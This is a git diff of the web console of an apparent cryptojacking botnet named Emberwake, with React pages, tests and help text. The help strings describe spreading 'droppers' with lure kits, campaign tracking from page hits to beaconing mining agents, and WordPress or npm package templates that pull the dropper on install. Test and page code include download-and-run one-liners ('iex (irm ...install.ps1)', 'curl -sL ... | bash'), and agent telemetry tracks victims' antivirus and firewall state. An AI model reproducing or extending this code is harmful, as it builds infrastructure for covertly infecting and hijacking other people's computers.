'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
|
||||
ew_campaign_setup:
|
||||
'Shared settings for every Emberwake export on this page. Campaign slug tags telemetry; pinned build selects which forged agent gets installed.',
|
||||
ew_campaign_slug:
|
||||
'Short name appended as ?c= on dropper and download URLs. War Room groups hits, downloads, beacons, and hashrate by this slug.',
|
||||
ew_install_links:
|
||||
'Per-platform install one-liners live in Builds. Pin a build there, then copy PowerShell / bash / download URLs for remote deploy.',
|
||||
ew_spread_kit:
|
||||
'Downloads a ZIP of spread-kit templates (README, Deploy scripts, lander assets) with your server URL and campaign slug baked in.',
|
||||
ew_war_room:
|
||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||
ew_supply_chain:
|
||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||
ew_public_urls:
|
||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||
ew_techniques:
|
||||
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
|
||||
ew_shared_notes:
|
||||
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
|
||||
};
|
||||
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
@@ -0,0 +1,36 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
|
||||
describe('agentStatsUnchanged', () => {
|
||||
it('returns true when payload matches current agent stats', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('returns false when hashrate changes', () => {
|
||||
const agent = mockAgent({ hashrate_15s: 100, hashrate_1m: 90, hashrate_15m: 80, cpu_usage_pct: 12 });
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 101,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
|
||||
/** Returns true when a stats_update payload would not change visible agent fields. */
|
||||
export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (agent.hashrate_15s !== u.hashrate_15s) return false;
|
||||
if (agent.hashrate_1m !== u.hashrate_1m) return false;
|
||||
if (agent.hashrate_15m !== u.hashrate_15m) return false;
|
||||
if (agent.cpu_usage_pct !== u.cpu_usage_pct) return false;
|
||||
if (u.memory_usage_pct !== undefined && agent.memory_usage_pct !== u.memory_usage_pct) return false;
|
||||
if (u.uptime_seconds !== undefined && agent.uptime_seconds !== u.uptime_seconds) return false;
|
||||
if (u.shares_submitted !== undefined && agent.shares_total !== u.shares_submitted) return false;
|
||||
if (u.shares_accepted !== undefined && agent.shares_good !== u.shares_accepted) return false;
|
||||
if (u.listen_port_count !== undefined && agent.listen_port_count !== u.listen_port_count) return false;
|
||||
if (u.dns_drifted !== undefined && agent.dns_drifted !== u.dns_drifted) return false;
|
||||
if (u.cpu_freq_mhz !== undefined && agent.cpu_freq_mhz !== u.cpu_freq_mhz) return false;
|
||||
if (u.cpu_max_mhz !== undefined && agent.cpu_max_mhz !== u.cpu_max_mhz) return false;
|
||||
if (u.cpu_throttle !== undefined && agent.cpu_throttle !== u.cpu_throttle) return false;
|
||||
if (u.cpu_temp_c !== undefined && agent.cpu_temp_c !== u.cpu_temp_c) return false;
|
||||
if (u.disk_free_gb !== undefined && agent.disk_free_gb !== u.disk_free_gb) return false;
|
||||
if (u.disk_total_gb !== undefined && agent.disk_total_gb !== u.disk_total_gb) return false;
|
||||
if (u.disk_free_pct !== undefined && agent.disk_free_pct !== u.disk_free_pct) return false;
|
||||
if (u.gpu_temp_c !== undefined && agent.gpu_temp_c !== u.gpu_temp_c) return false;
|
||||
if (u.gpu_usage_pct !== undefined && agent.gpu_usage_pct !== u.gpu_usage_pct) return false;
|
||||
if (u.gpu_miner_active !== undefined && agent.gpu_miner_active !== u.gpu_miner_active) return false;
|
||||
if (u.gpu_hashrate_15s !== undefined && agent.gpu_hashrate_15s !== u.gpu_hashrate_15s) return false;
|
||||
if (u.gpu_hashrate_1m !== undefined && agent.gpu_hashrate_1m !== u.gpu_hashrate_1m) return false;
|
||||
if (u.gpu_hashrate_15m !== undefined && agent.gpu_hashrate_15m !== u.gpu_hashrate_15m) return false;
|
||||
if (u.gpu_model !== undefined && agent.gpu_model !== u.gpu_model) return false;
|
||||
if (u.ssh_available !== undefined && agent.ssh_available !== u.ssh_available) return false;
|
||||
if (u.posture_score !== undefined && agent.posture_score !== u.posture_score) return false;
|
||||
if (u.last_patch_days !== undefined && agent.last_patch_days !== u.last_patch_days) return false;
|
||||
if (u.defender_rtp !== undefined && agent.defender_rtp !== u.defender_rtp) return false;
|
||||
if (u.firewall_domain !== undefined && agent.firewall_domain !== u.firewall_domain) return false;
|
||||
if (u.firewall_private !== undefined && agent.firewall_private !== u.firewall_private) return false;
|
||||
if (u.firewall_public !== undefined && agent.firewall_public !== u.firewall_public) return false;
|
||||
if (u.reboot_pending !== undefined && agent.reboot_pending !== u.reboot_pending) return false;
|
||||
if (u.agent_elevated !== undefined && agent.agent_elevated !== u.agent_elevated) return false;
|
||||
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
if (a[i] !== b[i]) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
'presence_update',
|
||||
'notes_typing',
|
||||
'emberwake_notes_updated',
|
||||
'emberwake_war_room',
|
||||
'agent_online',
|
||||
'agent_offline',
|
||||
'new_share',
|
||||
'fleet_alert',
|
||||
'command_result',
|
||||
]);
|
||||
36
server/web/src/hooks/usePageVisible.ts
Normal file
36
server/web/src/hooks/usePageVisible.ts
Normal file
@@ -0,0 +1,36 @@
|
||||
import { useEffect, useRef, useState } from 'react';
|
||||
|
||||
/** True when the document tab is visible (Page Visibility API). */
|
||||
export function usePageVisible(): boolean {
|
||||
const [visible, setVisible] = useState(
|
||||
() => typeof document === 'undefined' || document.visibilityState === 'visible',
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const onVis = () => setVisible(document.visibilityState === 'visible');
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
return () => document.removeEventListener('visibilitychange', onVis);
|
||||
}, []);
|
||||
|
||||
return visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Run `fn` on an interval; pauses while the tab is hidden.
|
||||
*
|
||||
* `fn` is stored in a ref so callers do NOT need to wrap it in `useCallback`.
|
||||
* The effect only re-runs when `ms`, `enabled`, or tab-visibility changes —
|
||||
* an unstable `fn` reference will NOT trigger extra immediate calls.
|
||||
*/
|
||||
export function useVisibleInterval(fn: () => void, ms: number, enabled = true): void {
|
||||
const visible = usePageVisible();
|
||||
const fnRef = useRef(fn);
|
||||
// Keep the ref in sync with the latest fn without scheduling a new interval.
|
||||
fnRef.current = fn;
|
||||
|
||||
useEffect(() => {
|
||||
if (!enabled || !visible) return;
|
||||
const id = window.setInterval(() => fnRef.current(), ms);
|
||||
return () => window.clearInterval(id);
|
||||
}, [ms, enabled, visible]);
|
||||
}
|
||||
@@ -4,7 +4,9 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import AgentsPage from './AgentsPage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
@@ -35,7 +37,11 @@ function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
}
|
||||
|
||||
function renderAgentsPage() {
|
||||
return render(<AgentsPage />);
|
||||
return render(
|
||||
<MemoryRouter initialEntries={['/agents']} future={routerFuture}>
|
||||
<AgentsPage />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('AgentsPage', () => {
|
||||
@@ -62,27 +68,12 @@ describe('AgentsPage', () => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders page heading and quick deploy labels', async () => {
|
||||
it('renders page heading and builds install link', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
|
||||
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
|
||||
expect(screen.getAllByText('Windows')).toHaveLength(2);
|
||||
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
|
||||
expect(screen.getByText('macOS')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('builds quick deploy URLs from server info', async () => {
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
|
||||
});
|
||||
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
|
||||
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
|
||||
expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
|
||||
});
|
||||
|
||||
it('shows loading then empty multi-OS state', async () => {
|
||||
@@ -157,11 +148,14 @@ describe('AgentsPage', () => {
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(() => {
|
||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||
});
|
||||
await waitFor(
|
||||
() => {
|
||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||
},
|
||||
{ timeout: 10000 }
|
||||
);
|
||||
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
||||
});
|
||||
}, 15000);
|
||||
|
||||
it('alerts when bulk action has no online agents', async () => {
|
||||
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import { resolveChartSeries } from '../help/chartSampleData';
|
||||
@@ -25,58 +26,19 @@ import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import './Pages.css';
|
||||
|
||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
|
||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||||
|
||||
const copy = (text: string, key: string) => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(key);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
});
|
||||
};
|
||||
|
||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||||
const dlWin = `${base}/get?os=windows`;
|
||||
const dlLin = `${base}/get?os=linux`;
|
||||
const dlMac = `${base}/get?os=darwin`;
|
||||
|
||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||||
{copied === id ? '✓ Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
|
||||
function BuildsInstallLink() {
|
||||
return (
|
||||
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: '1rem', flexWrap: 'wrap' }}>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>Deploy a new worker</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||||
No files to transfer manually.
|
||||
Per-machine install commands (PowerShell, bash, direct download) live in Builds.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: '0.75rem' }}>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||||
<Link to="/builds" className="btn btn-outline">
|
||||
View install commands in Builds →
|
||||
</Link>
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
@@ -92,7 +54,6 @@ export default function AgentsPage() {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
@@ -152,7 +113,6 @@ export default function AgentsPage() {
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
@@ -380,7 +340,7 @@ export default function AgentsPage() {
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<QuickDeployPanel serverInfo={serverInfo} />
|
||||
<BuildsInstallLink />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
|
||||
@@ -31,6 +31,12 @@
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.bm-action-hint {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
/* ── empty / loading ── */
|
||||
.bm-empty {
|
||||
text-align: center;
|
||||
|
||||
@@ -6,6 +6,7 @@ import DownloadButton from '../components/DownloadButton';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './BuildManagerPage.css';
|
||||
|
||||
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||||
@@ -51,7 +52,7 @@ export function platformLabel(p?: string): string {
|
||||
export function platformColor(p?: string): string {
|
||||
if (!p) return 'var(--neon-cyan)';
|
||||
const m: Record<string, string> = {
|
||||
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
|
||||
windows: 'var(--neon-cyan)', linux: '#a3e635', darwin: '#f0abfc', universal: 'var(--neon-amber)',
|
||||
};
|
||||
return m[p.toLowerCase()] ?? '#aaa';
|
||||
}
|
||||
@@ -231,8 +232,9 @@ function BuildCard({
|
||||
<span
|
||||
className="bm-platform-badge"
|
||||
style={{ color: platformColor(build.platform) }}
|
||||
title={build.platform ?? 'windows'}
|
||||
>
|
||||
{platformLabel(build.platform)}
|
||||
{platformLabel(build.platform)} <HelpTip field="bm_platform_badge" />
|
||||
</span>
|
||||
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||
@@ -308,7 +310,8 @@ function BuildCard({
|
||||
<div className="bm-downloads-label font-tech">
|
||||
{build.pinned
|
||||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||
: 'ONE-LINER DEPLOY (serves latest build)'}
|
||||
: 'ONE-LINER DEPLOY (serves latest build)'}{' '}
|
||||
<HelpTip field="bm_dropper_oneliner" />
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
@@ -334,15 +337,18 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
onClick={() => onReforge(build)}
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<span className="bm-action-hint"><PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} /><HelpTip field="bm_public_build" /></span>
|
||||
<span className="bm-action-hint"><PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} /><HelpTip field="bm_pin_dropper" /></span>
|
||||
<span className="bm-action-hint">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
onClick={() => onReforge(build)}
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<HelpTip field="bm_reforge" />
|
||||
</span>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -285,7 +285,8 @@ describe('BuilderPage', () => {
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
||||
|
||||
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Mission complete')).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /View install commands in Builds/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
||||
expect(api.buildAgent).toHaveBeenCalled();
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
|
||||
@@ -59,10 +59,8 @@ import {
|
||||
MISSION_STEPS,
|
||||
MISSION_STEP_LABELS,
|
||||
applyMissionPresets,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionLinks,
|
||||
type MissionStep,
|
||||
} from '../help/forgeMission';
|
||||
import {
|
||||
@@ -210,8 +208,8 @@ export default function BuilderPage() {
|
||||
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
||||
const [missionBusy, setMissionBusy] = useState(false);
|
||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
||||
useModalAmbientDuck(!!missionModal);
|
||||
const [missionComplete, setMissionComplete] = useState(false);
|
||||
useModalAmbientDuck(missionComplete);
|
||||
|
||||
useEffect(() => {
|
||||
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
||||
@@ -720,7 +718,7 @@ export default function BuilderPage() {
|
||||
if (!form) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setMissionModal(null);
|
||||
setMissionComplete(false);
|
||||
setMissionExportSkipped(false);
|
||||
setMissionWizardStep('launch');
|
||||
|
||||
@@ -757,8 +755,7 @@ export default function BuilderPage() {
|
||||
});
|
||||
setMissionExportSkipped(result.exportSkipped);
|
||||
setForm(normalized);
|
||||
await copyMissionLinks(result.links);
|
||||
setMissionModal(result.links);
|
||||
setMissionComplete(true);
|
||||
await finishForgeSuccess(result.build);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Mission failed';
|
||||
@@ -966,7 +963,7 @@ export default function BuilderPage() {
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
const setupStatus = getSetupStatus(calibrateConfig, serverInfo);
|
||||
|
||||
return (
|
||||
<div className={forgeSkinClass}>
|
||||
@@ -1291,7 +1288,7 @@ export default function BuilderPage() {
|
||||
)}
|
||||
{!missionBusy && missionStep !== 'error' && (
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
|
||||
Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Install commands in Builds.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
@@ -2989,38 +2986,26 @@ export default function BuilderPage() {
|
||||
{dispenseReveal?.success && (
|
||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||
)}
|
||||
{missionModal && (
|
||||
{missionComplete && (
|
||||
<div
|
||||
className="forge-mission-modal-backdrop"
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-labelledby="mission-modal-title"
|
||||
onClick={() => setMissionModal(null)}
|
||||
onClick={() => setMissionComplete(false)}
|
||||
>
|
||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||
<h3 id="mission-modal-title">Mission complete — links copied</h3>
|
||||
<h3 id="mission-modal-title">Mission complete</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
|
||||
Your build is ready. Copy per-machine install commands from Builds.
|
||||
</p>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>PowerShell</p>
|
||||
<code>{missionModal.ps1}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>curl | bash</p>
|
||||
<code>{missionModal.sh}</code>
|
||||
</div>
|
||||
<div className="forge-mission-link-block">
|
||||
<p>/get dropper</p>
|
||||
<code>{missionModal.get}</code>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => void copyMissionLinks(missionModal)}
|
||||
className="btn btn-primary btn-sm"
|
||||
onClick={() => navigate('/builds')}
|
||||
>
|
||||
Copy all
|
||||
View install commands in Builds →
|
||||
</button>
|
||||
<a
|
||||
href="/spread/"
|
||||
@@ -3030,7 +3015,7 @@ export default function BuilderPage() {
|
||||
>
|
||||
Open spread landing
|
||||
</a>
|
||||
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => setMissionComplete(false)}>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@@ -246,10 +246,10 @@
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
|
||||
.cn-upd.upd-ok { color: var(--neon-green); background: rgba(46,232,16,0.1); }
|
||||
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
|
||||
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
|
||||
.cn-upd.upd-bad { color: var(--error-color); background: rgba(255,68,102,0.12); font-weight: 700; }
|
||||
.cn-upd.upd-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
|
||||
.cn-reboot {
|
||||
@@ -260,8 +260,8 @@
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-reboot.rb-pending {
|
||||
color: #ff2222;
|
||||
background: rgba(255,34,34,0.15);
|
||||
color: var(--error-color);
|
||||
background: rgba(255,68,102,0.15);
|
||||
font-weight: 700;
|
||||
animation: rb-blink 1.4s step-end infinite;
|
||||
}
|
||||
@@ -311,7 +311,7 @@
|
||||
letter-spacing: 0.04em;
|
||||
cursor: default;
|
||||
}
|
||||
.cn-thermal.therm-hot { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
|
||||
.cn-thermal.therm-hot { color: var(--error-color); background: rgba(255,68,102,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
|
||||
.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; }
|
||||
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
@@ -447,10 +447,31 @@
|
||||
|
||||
/* ── Actions ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ops-panel {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.crucible-ops {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
|
||||
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||
gap: 0.55rem;
|
||||
align-items: start;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.crucible-ops {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
/* Full-width groups inside the ops grid */
|
||||
.crucible-ops .cop-network,
|
||||
.crucible-ops .cop-maint,
|
||||
.crucible-ops .cop-seek,
|
||||
.crucible-ops .crucible-seek-group {
|
||||
grid-column: 1 / -1;
|
||||
}
|
||||
|
||||
/* ── Op group card ───────────────────────────────────────────────────── */
|
||||
@@ -518,7 +539,7 @@
|
||||
|
||||
.cop-shell { grid-column: 1 / -1; }
|
||||
|
||||
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
|
||||
.cop-network { border-color: rgba(58, 134, 255, 0.2); }
|
||||
